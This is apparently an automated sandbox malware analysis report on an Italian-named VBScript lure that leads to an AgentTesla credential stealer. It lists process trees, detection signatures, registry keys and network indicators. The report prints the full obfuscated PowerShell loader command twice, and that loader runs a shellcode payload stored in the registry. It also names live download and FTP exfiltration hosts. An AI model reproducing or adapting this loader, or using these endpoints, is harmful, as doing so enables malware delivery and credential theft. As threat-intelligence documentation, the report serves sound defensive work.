Automated Malware Analysis IOC Report for

Files

File Path

Type

Processes

Path

Cmdline

Malicious

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Richiesta urgente.vbs"

Details

Is windows:	true
Is dropped:	false
PID:	4088
Target ID:	0
Parent PID:	3324
Name:	wscript.exe
Class:	wscript
Path:	C:\Windows\System32\wscript.exe
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Richiesta urgente.vbs"
Size:	163840
MD5:	9A68ADD12EB50DDE7586782C3EB9FF9C
Time:	11:05:04
Date:	28/11/2022
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff707f10000
Modulesize:	180224
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Executes visual basic scripts	System Summary	Scripting
Spawns processes	System Summary	Process Injection

C:\Windows\System32\cmd.exe

CMD.EXE /c echo C:\Windows

Details

Is windows:	true
Is dropped:	false
PID:	1004
Target ID:	1
Parent PID:	4088
Name:	cmd.exe
Class:	cmd
Path:	C:\Windows\System32\cmd.exe
Commandline:	CMD.EXE /c echo C:\Windows
Size:	273920
MD5:	4E2ACF4F8A396486AB4268C94A6A245F
Time:	11:05:06
Date:	28/11/2022
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff627730000
Modulesize:	405504
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Wscript starts Powershell (via cmd or directly)	System Summary	PowerShell Scripting
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Spawns processes	System Summary	Process Injection

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Skolegaardene = """ReABedSadDi-FiTGeySjpSyeAn De-ChTHeyTepAneLaDReeOpfPriNonMiiPrtSainooScnKa Da'KouRisFoiUdnMygSy SySImyInsOftTreTumok;SuuStsNyiSunBigDr TrSMiyAssDatDeePrmTi.DoRMiuManSotCoiGamDueBi.BoIAnnSotPheOprInoUdpTeSDeeOmrgovStiKncTreDesFo;oppSiuPabFolVaiAfcGl ElsShtFiaBatHviCocOt dacUnlRyaDzsSpsOr SiRChePraUdbStrGiiSidAdgPaeNodAt1Ch In{Cr[FjDDrlAdlSqIHemTapKooBerVatDe(Ne`"""SowOwiHanSamBlmBa.DedSalBalIn`"""Bi)Sg]KopPeuAsbFolUniHocMy PrsGrtUnaSetIniStcSi HaeNexSktBrePorFenGe uniUnnArtMa HomCaiMbdSaiSuOTjuLgtNoOZipFoeJrnXs(SmiOrnButbr PokPrvAbaTalMoiBe,TiiganSatth brKAtovinTe,ZaiLunDitAd KoRRuiOvnPegSaeAtdTh,RriBanTrtDe SpUOunPywFooHe,HoiKnnGetHa koUWidGreRe)Co;as[MuDTulAllReIThmNopBloBrrFitNe(Ud`"""SekUneserObnOmeBilHl3Up2Te`"""He)av]RipAruFubOclFiiCucMa AssEmtSaaDrtApiFrcTu RaeStxDitKieVerMenPr JiiFanOvtLo ArLMooPecviaAulprSUnhCarPoihunSvkde(OuiUnnHitSt ResDycPuoUnrTupGriBr,WhiVenDotSt StNSasFikOveMatImnUp)Eu;Fg[GuDHylAnlFuIPemAfpLeoWirMutRa(Kh`"""VekBieEmrAdnPueanlNl3Ek2bl`"""Sp)Pe]RepGeuRebPrlReiRacSt desBetTaaMatFiiFocOm SheFaxPitDieUnrTanko BliSunKatKe ScSAreCatAnCUdoMomBomSiSDitCaazatAmeRe(UniSmnExtSe CoKCuoBefAltSmaAf,NaiAfnLatSu scSLatKaoHorHorTryBu)sk;Kr[LiDstlImlcuIHomEkpTaoRkrBrtSh(Pu`"""PskFeeSkrAnnOpeunlBi3Sp2ut`"""Va)Gr]GopOruPabOvlUpiShcSu VesBetLaaIstPtiSncEn PueBuxAgtCoeunrCanUe AliMonvetCe TrHLeeSaaSlpJaCDyrSieDiaAftTieDr(IliGrnUdtEn ScNDoeDocWirHioSapBe,BiiVonSitDo GaFSelafsFnkPr,IniInnAntOs moGSirSpuFipLe)Al;Sy[brDUplAblSeIPomSupTeoBarbltGl(Af`"""PrkCoeXerBanFleAflsy3Br2Ma`"""un)Tr]HepNauNobColUliRecUd SrsDetThaRotKuiIscPh GreBexFrtGeeSprMinVi CiiFinwotDe StVFaipsrZotThuMiaOplStAArlUnlAgoGrcbo(DaiSanSytAf EqvEp1Sy,hoiDenOxtSt UnvMe2Be,TriKonKotro SkvFl3wi,FoiMonGatFi StvMi4Ch)Be;Tu[PaDAtlBglOpIKomPhpLaoBarSptWa(Ma`"""ThiJamRemDe3Ba2Vi.HedSolSalBa`"""Fe)Br]SepLuuEnbAflDeiHocSk LusHytViaantKoiPocZr NoeDrxUrtCleFardonBl HeiBanBrtXe hvIBlmRhmAgSkreDetEvSMatFiaRatUduAnsDuWAniRunKedDioOpwTrPBroAnsPu(CoiUnnDitBa NePPoaSklSkaEn,ChiRenXetAl skRPyaInzNe)Me;Bi[VaDRelRhlAnIsemifpOuochrFrtDe(Ti`"""omAHyDwiVreAfaPGrIPh3Sn2Mi.SpDNiLPlLVu`"""Ep)Un]VepCluSsbGelReiAfcFl drsLgtMiaErtPaiOpcna SheSixCytOpeGerBenSu UniStnTitAk BaISnnTriSotMaiScaGrlPaiejzCoeAnAKactalBe(PoiPunHntRu TeCTioAclBa,AaiSynMetMi LeUPinDeaPr,AfiMenRetAs FaFMelFroTepOrpOl2na0Ma1Sn)Mi;In[DeDSalPalslIChmNopEroPhrEutSc(Pa`"""EngSvdTaiOl3Re2so`"""Ud)Qu]FipHyuSkbAdlMaiGucGi OcsUdtlaaMotReiFrcSk IjeWixAxtqueUnrHanBo GeiCinMatSa HuSSeeRatBeWEdiLinBldEnoMewFuEPexNotBrEStxPl(SliSanNvtGe biDDauDacFl,buiTynCetTo UdHToeLanHubHulDy,AniBenOutTi MoSKuiBrdRaecotCaaFo,IsiTinThtUb AfAUlpFrpIsaTosIs)Pa;Uf[AuDTilCalAfIScmBapOmoIkrHetOm(Un`"""MygPrdAliPa3An2Tr`"""Un)Th]RopjouCebMalFliBlcBl AgsLrtPyaBetHjiCocUl TaeVoxFotAfeNorAlnBy CoiAunIttHa NaUTrnNorIgeGeakelNoiVazAneStOSjbEnjSieOpcFrtUn(LeiHjnUntKi RvHNooBiwBeeFraManhe)Su;Sp[CaDDilUdlPlIBemFrpNooEgrDitDe(Ce`"""couDesAgeNurSu3Ke2Ma`"""Fo)fl]DepdiuCibStlOuiSecBi ScsHytBjalitFliDrcBl ToeCoxBytFoeGarRenPo SeitunMetDa UnGMoeprtHaKFoefoyNeSBotMuaGrtFeeSk(BaiVinSttNo SkFFooUnrGe)Di;lo[ByDPelTulMiIMimKapCooInrPutxe(Un`"""RegCydWoiDo3Me2Us`"""St)Be]KopMauHybBolEdiLvcRe SksDatFlaTitdaiChcDr EneMexFetTaeTorWenKl BriErnThtRe LaPAloPelGiySoTBueCrxSetDiOInuBetKo(VeiNanEmtRe UfFFoeSpeSidInsSttSt,YoiPanBltLe ElFOblSpoUrrKieFu,NeiEtnEltPs TrLRaiBemAn)Be;Br[UbDArlMylStIismStpAcoHerLytHe(vl`"""SuuUnsPreAfrhj3Kr2Pr`"""Un)Un]IspPauSrbPalSmicocma FrsretBoaSttBeiancPr OweBoxKotFaeUrrSnnSu FriStnUntma AnESaxUrcTrlliuPrdBrePsUBepTodDoaUntArePoRAugMonBy(DeiKlnHatVa PaUMunAbdPr1Ba3Ti7Le,UniSknAntSk UnKSonUniUnrPo)Ni;Sk[MiDaslEklStIUnmRkptroCarUntEl(Kr`"""TikCueDyrVanBreIdlUn3Bo2Di`"""po)Su]IdpenudrbTmlOpiGrcfl MesMatKhaDotDiiSycAs LaeOvxRetUreGrrUsnst OuivinPetBe KoSAreXatFrCMioAinFlsLooUnlOpeTeMOdoLodGoecr(sciMunsutCh LvCYdrKoaChvVeaUntTa,iniApnlstNs RuSGovgrmKumKr)Th;Pa[ElDDilStlviISamTepKooAfrFotMa(la`"""SikAeeDdrafnToeSnlCa3Ob2Ag`"""St)he]TepInuStbFolPeiPrcan PosphtSyaudtSoiDecBl OueSaxNotNoeBerLanPo TeIVanSatRePPrtLarBl LaEArnSyuTrmnoSReyDesSktRaeKlmBlLPaoTecImaUtlAneDisPeWMe(KauLyiDenOvttn CrvAc1Cu,SjilonAmtOy SavKa2St)Ti;Be}Ti'De;br`$PrRReeSkaEmbRerPhiSvdKogKueUrdYo3Ts=Ba[FyRtieMaaNobSmrHoiLidUdgBieReddr1Id]Co:Af:GlVBriExrMetFouInaImlReAGrllalAkoKocDi(Un0Ud,No1In0Pa4Ef8at5Ca7Ta6ul,Ch1ud2Ha2Ha8Ud8Be,Bo6Ve4Sy)do;Sc`$FeHPaeDraFjdStbEiaOmnaldFosCr=Tv(KvGRoeSjtTu-siIKrtAbeApmSaPParEkoLypsoeChrUdtHeySt Fl-ToPgraPotSnhBi Ge'UnHToKDaCSaUAf:Al\FlAApnCotTaaPrrRi\OvHmiaSlnBadBrlGniKonUdgPrsGo'un)Mi.TiDHjeortOseWokGrtBreAlrCaiPinFygFoeGurEsnAdeKksLo;Un`$BoTRewReihenReeTh Kr=Ls Ov[MeSVeyOpsVetAzeMymAu.OmCThoAgnPivSwelarTotEl]Ne:Vg:ReFserMeoismInBEraTrsDeeAb6Po4SpSRetacrLeiinnDegPa(Ra`$ClHBeeVoaBodUnbBeaPonBedDisLo)Le;Ti[UnSTryOfsPatCleShmRe.SeRReuMinSttFoiAemCueEl.TrITunBhtEveErrProKopTrSNyeRergevLeiPhcKrePhsEd.seMSuaFirunsPrhAaaDelSo]Ej:Pr:WrCReoHypDeyGr(Ho`$AgTRewFoidinTaeSt,Fo Ca0Sc,Wi Th Ca`$EkRCyePoaQubdirPsividOpgRaeDadOs3do,Ku Ga`$MiTMawUniefnBreFo.TrcRvoFiuRanbytSp)Su;Pa[afRFoeJuaRebChrUniPldmngIneSedCo1lo]Tu:Af:NyEIcnBluRemGuSOsyCesPrtDieDimItLProBicToaDalSaeHasTrWDe(Fi`$SoRIneFoaGabEjrKeiPodRegSieTodSa3lu,Is Eg0fe)pi#Vo;""";Function Reabridged4 { param([String]$HS); For($i=2; $i -lt $HS.Length-1; $i+=(2+1)){ $Regionplanarbejderne = $Regionplanarbejderne + $HS.Substring($i, 1); } $Regionplanarbejderne;}$Enterprise0 = Reabridged4 'GrITyEDoXLy ';$Enterprise1= Reabridged4 $Skolegaardene;&$Enterprise0 $Enterprise1;;

Details

Is windows:	true
Is dropped:	false
PID:	5840
Target ID:	3
Parent PID:	4088
Name:	powershell.exe
Class:	powershell
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Commandline:	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Skolegaardene = """ReABedSadDi-FiTGeySjpSyeAn De-ChTHeyTepAneLaDReeOpfPriNonMiiPrtSainooScnKa Da'KouRisFoiUdnMygSy SySImyInsOftTreTumok;SuuStsNyiSunBigDr TrSMiyAssDatDeePrmTi.DoRMiuManSotCoiGamDueBi.BoIAnnSotPheOprInoUdpTeSDeeOmrgovStiKncTreDesFo;oppSiuPabFolVaiAfcGl ElsShtFiaBatHviCocOt dacUnlRyaDzsSpsOr SiRChePraUdbStrGiiSidAdgPaeNodAt1Ch In{Cr[FjDDrlAdlSqIHemTapKooBerVatDe(Ne`"""SowOwiHanSamBlmBa.DedSalBalIn`"""Bi)Sg]KopPeuAsbFolUniHocMy PrsGrtUnaSetIniStcSi HaeNexSktBrePorFenGe uniUnnArtMa HomCaiMbdSaiSuOTjuLgtNoOZipFoeJrnXs(SmiOrnButbr PokPrvAbaTalMoiBe,TiiganSatth brKAtovinTe,ZaiLunDitAd KoRRuiOvnPegSaeAtdTh,RriBanTrtDe SpUOunPywFooHe,HoiKnnGetHa koUWidGreRe)Co;as[MuDTulAllReIThmNopBloBrrFitNe(Ud`"""SekUneserObnOmeBilHl3Up2Te`"""He)av]RipAruFubOclFiiCucMa AssEmtSaaDrtApiFrcTu RaeStxDitKieVerMenPr JiiFanOvtLo ArLMooPecviaAulprSUnhCarPoihunSvkde(OuiUnnHitSt ResDycPuoUnrTupGriBr,WhiVenDotSt StNSasFikOveMatImnUp)Eu;Fg[GuDHylAnlFuIPemAfpLeoWirMutRa(Kh`"""VekBieEmrAdnPueanlNl3Ek2bl`"""Sp)Pe]RepGeuRebPrlReiRacSt desBetTaaMatFiiFocOm SheFaxPitDieUnrTanko BliSunKatKe ScSAreCatAnCUdoMomBomSiSDitCaazatAmeRe(UniSmnExtSe CoKCuoBefAltSmaAf,NaiAfnLatSu scSLatKaoHorHorTryBu)sk;Kr[LiDstlImlcuIHomEkpTaoRkrBrtSh(Pu`"""PskFeeSkrAnnOpeunlBi3Sp2ut`"""Va)Gr]GopOruPabOvlUpiShcSu VesBetLaaIstPtiSncEn PueBuxAgtCoeunrCanUe AliMonvetCe TrHLeeSaaSlpJaCDyrSieDiaAftTieDr(IliGrnUdtEn ScNDoeDocWirHioSapBe,BiiVonSitDo GaFSelafsFnkPr,IniInnAntOs moGSirSpuFipLe)Al;Sy[brDUplAblSeIPomSupTeoBarbltGl(Af`"""PrkCoeXerBanFleAflsy3Br2Ma`"""un)Tr]HepNauNobColUliRecUd SrsDetThaRotKuiIscPh GreBexFrtGeeSprMinVi CiiFinwotDe StVFaipsrZotThuMiaOplStAArlUnlAgoGrcbo(DaiSanSytAf EqvEp1Sy,hoiDenOxtSt UnvMe2Be,TriKonKotro SkvFl3wi,FoiMonGatFi StvMi4Ch)Be;Tu[PaDAtlBglOpIKomPhpLaoBarSptWa(Ma`"""ThiJamRemDe3Ba2Vi.HedSolSalBa`"""Fe)Br]SepLuuEnbAflDeiHocSk LusHytViaantKoiPocZr NoeDrxUrtCleFardonBl HeiBanBrtXe hvIBlmRhmAgSkreDetEvSMatFiaRatUduAnsDuWAniRunKedDioOpwTrPBroAnsPu(CoiUnnDitBa NePPoaSklSkaEn,ChiRenXetAl skRPyaInzNe)Me;Bi[VaDRelRhlAnIsemifpOuochrFrtDe(Ti`"""omAHyDwiVreAfaPGrIPh3Sn2Mi.SpDNiLPlLVu`"""Ep)Un]VepCluSsbGelReiAfcFl drsLgtMiaErtPaiOpcna SheSixCytOpeGerBenSu UniStnTitAk BaISnnTriSotMaiScaGrlPaiejzCoeAnAKactalBe(PoiPunHntRu TeCTioAclBa,AaiSynMetMi LeUPinDeaPr,AfiMenRetAs FaFMelFroTepOrpOl2na0Ma1Sn)Mi;In[DeDSalPalslIChmNopEroPhrEutSc(Pa`"""EngSvdTaiOl3Re2so`"""Ud)Qu]FipHyuSkbAdlMaiGucGi OcsUdtlaaMotReiFrcSk IjeWixAxtqueUnrHanBo GeiCinMatSa HuSSeeRatBeWEdiLinBldEnoMewFuEPexNotBrEStxPl(SliSanNvtGe biDDauDacFl,buiTynCetTo UdHToeLanHubHulDy,AniBenOutTi MoSKuiBrdRaecotCaaFo,IsiTinThtUb AfAUlpFrpIsaTosIs)Pa;Uf[AuDTilCalAfIScmBapOmoIkrHetOm(Un`"""MygPrdAliPa3An2Tr`"""Un)Th]RopjouCebMalFliBlcBl AgsLrtPyaBetHjiCocUl TaeVoxFotAfeNorAlnBy CoiAunIttHa NaUTrnNorIgeGeakelNoiVazAneStOSjbEnjSieOpcFrtUn(LeiHjnUntKi RvHNooBiwBeeFraManhe)Su;Sp[CaDDilUdlPlIBemFrpNooEgrDitDe(Ce`"""couDesAgeNurSu3Ke2Ma`"""Fo)fl]DepdiuCibStlOuiSecBi ScsHytBjalitFliDrcBl ToeCoxBytFoeGarRenPo SeitunMetDa UnGMoeprtHaKFoefoyNeSBotMuaGrtFeeSk(BaiVinSttNo SkFFooUnrGe)Di;lo[ByDPelTulMiIMimKapCooInrPutxe(Un`"""RegCydWoiDo3Me2Us`"""St)Be]KopMauHybBolEdiLvcRe SksDatFlaTitdaiChcDr EneMexFetTaeTorWenKl BriErnThtRe LaPAloPelGiySoTBueCrxSetDiOInuBetKo(VeiNanEmtRe UfFFoeSpeSidInsSttSt,YoiPanBltLe ElFOblSpoUrrKieFu,NeiEtnEltPs TrLRaiBemAn)Be;Br[UbDArlMylStIismStpAcoHerLytHe(vl`"""SuuUnsPreAfrhj3Kr2Pr`"""Un)Un]IspPauSrbPalSmicocma FrsretBoaSttBeiancPr OweBoxKotFaeUrrSnnSu FriStnUntma AnESaxUrcTrlliuPrdBrePsUBepTodDoaUntArePoRAugMonBy(DeiKlnHatVa PaUMunAbdPr1Ba3Ti7Le,UniSknAntSk UnKSonUniUnrPo)Ni;Sk[MiDaslEklStIUnmRkptroCarUntEl(Kr`"""TikCueDyrVanBreIdlUn3Bo2Di`"""po)Su]IdpenudrbTmlOpiGrcfl MesMatKhaDotDiiSycAs LaeOvxRetUreGrrUsnst OuivinPetBe KoSAreXatFrCMioAinFlsLooUnlOpeTeMOdoLodGoecr(sciMunsutCh LvCYdrKoaChvVeaUntTa,iniApnlstNs RuSGovgrmKumKr)Th;Pa[ElDDilStlviISamTepKooAfrFotMa(la`"""SikAeeDdrafnToeSnlCa3Ob2Ag`"""St)he]TepInuStbFolPeiPrcan PosphtSyaudtSoiDecBl OueSaxNotNoeBerLanPo TeIVanSatRePPrtLarBl LaEArnSyuTrmnoSReyDesSktRaeKlmBlLPaoTecImaUtlAneDisPeWMe(KauLyiDenOvttn CrvAc1Cu,SjilonAmtOy SavKa2St)Ti;Be}Ti'De;br`$PrRReeSkaEmbRerPhiSvdKogKueUrdYo3Ts=Ba[FyRtieMaaNobSmrHoiLidUdgBieReddr1Id]Co:Af:GlVBriExrMetFouInaImlReAGrllalAkoKocDi(Un0Ud,No1In0Pa4Ef8at5Ca7Ta6ul,Ch1ud2Ha2Ha8Ud8Be,Bo6Ve4Sy)do;Sc`$FeHPaeDraFjdStbEiaOmnaldFosCr=Tv(KvGRoeSjtTu-siIKrtAbeApmSaPParEkoLypsoeChrUdtHeySt Fl-ToPgraPotSnhBi Ge'UnHToKDaCSaUAf:Al\FlAApnCotTaaPrrRi\OvHmiaSlnBadBrlGniKonUdgPrsGo'un)Mi.TiDHjeortOseWokGrtBreAlrCaiPinFygFoeGurEsnAdeKksLo;Un`$BoTRewReihenReeTh Kr=Ls Ov[MeSVeyOpsVetAzeMymAu.OmCThoAgnPivSwelarTotEl]Ne:Vg:ReFserMeoismInBEraTrsDeeAb6Po4SpSRetacrLeiinnDegPa(Ra`$ClHBeeVoaBodUnbBeaPonBedDisLo)Le;Ti[UnSTryOfsPatCleShmRe.SeRReuMinSttFoiAemCueEl.TrITunBhtEveErrProKopTrSNyeRergevLeiPhcKrePhsEd.seMSuaFirunsPrhAaaDelSo]Ej:Pr:WrCReoHypDeyGr(Ho`$AgTRewFoidinTaeSt,Fo Ca0Sc,Wi Th Ca`$EkRCyePoaQubdirPsividOpgRaeDadOs3do,Ku Ga`$MiTMawUniefnBreFo.TrcRvoFiuRanbytSp)Su;Pa[afRFoeJuaRebChrUniPldmngIneSedCo1lo]Tu:Af:NyEIcnBluRemGuSOsyCesPrtDieDimItLProBicToaDalSaeHasTrWDe(Fi`$SoRIneFoaGabEjrKeiPodRegSieTodSa3lu,Is Eg0fe)pi#Vo;""";Function Reabridged4 { param([String]$HS); For($i=2; $i -lt $HS.Length-1; $i+=(2+1)){ $Regionplanarbejderne = $Regionplanarbejderne + $HS.Substring($i, 1); } $Regionplanarbejderne;}$Enterprise0 = Reabridged4 'GrITyEDoXLy ';$Enterprise1= Reabridged4 $Skolegaardene;&$Enterprise0 $Enterprise1;;
Size:	430592
MD5:	DBA3E6449E97D4E3DF64527EF7012A10
Time:	11:05:36
Date:	28/11/2022
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x12e0000
Modulesize:	442368
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Dot net compiler compiles file from suspicious location	Data Obfuscation
VBScript performs obfuscated calls to suspicious functions	Data Obfuscation	Scripting
Obfuscated command line found	Data Obfuscation	Command and Scripting Interpreter Deobfuscate/Decode Files or Information
Wscript starts Powershell (via cmd or directly)	System Summary	PowerShell Scripting
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Spawns processes	System Summary	Process Injection
Binary contains paths to debug symbols	Compliance, System Summary

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.cmdline

Details

Is windows:	true
Is dropped:	false
PID:	4416
Target ID:	7
Parent PID:	5840
Name:	csc.exe
Class:	system-tools
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.cmdline
Size:	2170976
MD5:	350C52F71BDED7B99668585C15D70EEA
Time:	11:06:43
Date:	28/11/2022
Reason:	newprocess
Reputation:	moderate
Is admin:	true
Is elevated:	true
Modulebase:	0x1f0000
Modulesize:	2179072
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Dot net compiler compiles file from suspicious location	Data Obfuscation
Compiles C# or VB.Net code	Data Obfuscation
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Spawns processes	System Summary	Process Injection

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe

Details

Is windows:	true
Is dropped:	false
PID:	6072
Target ID:	10
Parent PID:	5840
Name:	CasPol.exe
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Size:	106496
MD5:	827875A7EE6003FC7F5301C613A2BB1C
Time:	11:07:38
Date:	28/11/2022
Reason:	newprocess
Reputation:	moderate
Is admin:	true
Is elevated:	true
Modulebase:	0xf70000
Modulesize:	122880
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Yara detected AgentTesla	Stealing of Sensitive Information, Remote Access Functionality
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Yara detected Credential Stealer	Stealing of Sensitive Information
Spawns processes	System Summary	Process Injection

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Details

Is windows:	true
Is dropped:	false
PID:	4540
Target ID:	2
Parent PID:	1004
Name:	conhost.exe
Path:	C:\Windows\System32\conhost.exe
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Size:	625664
MD5:	EA777DEEA782E8B4D7C7C33BBF8A4496
Time:	11:05:06
Date:	28/11/2022
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff7fcd70000
Modulesize:	651264
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Spawns processes	System Summary	Process Injection

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Details

Is windows:	true
Is dropped:	false
PID:	1092
Target ID:	4
Parent PID:	5840
Name:	conhost.exe
Path:	C:\Windows\System32\conhost.exe
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Size:	625664
MD5:	EA777DEEA782E8B4D7C7C33BBF8A4496
Time:	11:05:36
Date:	28/11/2022
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff7fcd70000
Modulesize:	651264
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Spawns processes	System Summary	Process Injection

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA66C.tmp" "c:\Users\user\AppData\Local\Temp\2vgl23kr\CSC2C40FF502EE54A39B5D71CE974C4B10.TMP"

Details

Is windows:	true
Is dropped:	false
PID:	1076
Target ID:	8
Parent PID:	4416
Name:	cvtres.exe
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA66C.tmp" "c:\Users\user\AppData\Local\Temp\2vgl23kr\CSC2C40FF502EE54A39B5D71CE974C4B10.TMP"
Size:	43176
MD5:	C09985AE74F0882F208D75DE27770DFA
Time:	11:06:44
Date:	28/11/2022
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x13d0000
Modulesize:	40960
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Spawns processes	System Summary	Process Injection

URLs

Name

Malicious

ftp://ftp.mcmprint.netnoffice

unknown

http://qwedft.gq/nnslx/arPdDEHecKTUsOQSyN133.asi

162.240.62.179

http://127.0.0.1:HTTP/1.1

unknown

http://nuget.org/NuGet.exe

unknown

http://crl.m

unknown

http://3LpbHlMRrrHdHc2KU.net

unknown

http://pesterbdd.com/images/Pester.png

unknown

http://www.apache.org/licenses/LICENSE-2.0.html

unknown

https://go.micro

unknown

https://contoso.com/

unknown

https://nuget.org/nuget.exe

unknown

https://contoso.com/License

unknown

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

unknown

http://DynDns.comDynDNSnamejidpasswordPsi/Psi

unknown

https://contoso.com/Icon

unknown

http://OowQOv.com

unknown

http://crl.micr

unknown

http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

unknown

https://github.com/Pester/Pester

unknown

There are 9 hidden URLs, click here to show them.

Domains

Name

Malicious

qwedft.gq

162.240.62.179

Details

Name:	qwedft.gq
IP:	162.240.62.179
TargetID:	10
Current Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking

ftp.mcmprint.net

185.31.121.136

Details

Name:	ftp.mcmprint.net
IP:	185.31.121.136
TargetID:	10
Current Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Uses FTP	Networking	Application Layer Protocol Exfiltration Over Alternative Protocol
URLs found in memory or binary data	Networking

IPs

Domain

Country

Malicious

162.240.62.179

qwedft.gq

United States

185.31.121.136

ftp.mcmprint.net

Bulgaria

Details

IP:	185.31.121.136
TargetID:	10
Current Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Country:	Bulgaria
Countrycode:	BGR
ASN number:	199364
ASN name:	RAX-ASBG
Private:	false
Domain:	ftp.mcmprint.net

Signature Hits	Behavior Group	Mitre Attack
Uses FTP	Networking	Application Layer Protocol Exfiltration Over Alternative Protocol

Registry

Path

Value

Malicious

HKEY_CURRENT_USER\Antar\Handlings

Detekteringernes

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing

EnableConsoleTracing

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\caspol_RASAPI32

EnableFileTracing

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\caspol_RASAPI32

EnableAutoFileTracing

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\caspol_RASAPI32

EnableConsoleTracing

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\caspol_RASAPI32

FileTracingMask

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\caspol_RASAPI32

ConsoleTracingMask

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\caspol_RASAPI32

MaxFileSize

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\caspol_RASAPI32

FileDirectory